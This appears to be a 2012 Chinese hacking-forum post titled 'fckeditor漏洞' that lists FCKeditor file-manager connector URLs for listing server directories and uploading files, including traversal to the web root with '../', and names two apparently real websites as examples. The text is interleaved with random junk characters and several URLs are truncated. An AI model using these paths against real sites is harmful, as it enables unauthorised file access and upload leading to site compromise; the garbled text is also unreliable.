找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1975|回复: 0
打印 上一主题 下一主题

fckeditor漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:02:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
# k4 o5 C3 N3 z% o+ E5 O
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
: _$ E. _4 i  p8 i( @! _* u& Bhttp://www.china-photo-model.com ... aspx/connector.aspx( Q) A9 y6 X$ w; q# v
( `8 A8 X# r0 Y) ^
/ P1 q' _, @' c7 |6 R. ^
http://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector
' C; f5 P% _2 X
1 N; h1 z( a& d- I/ {1 P; D5 ]& q- Y" N0 ^
& C# c. G1 v. v2 Z/ _
  J& _: h: B# S# m8 m; [, @4 H

: G/ p* v( H6 M% P2 W查看配置和列出目录下的文件.1 W. e0 Q) Z! `( o4 _
" e( Q! _4 H" c) _$ P5 Z3 p' I
9 Y% Z. y8 g0 a$ Q4 X3 U
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
8 c! B% J8 r  m1 nhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
$ H9 _; |1 y5 w! w8 h( V1 g& y7 [4 r; ~2 [4 y$ z7 c
上传地址:
; [) F; a* m  T$ Q4 E, x% A; x  K* O8 L2 S0 k; s
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F: @9 X7 d: y- }, Y& B
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表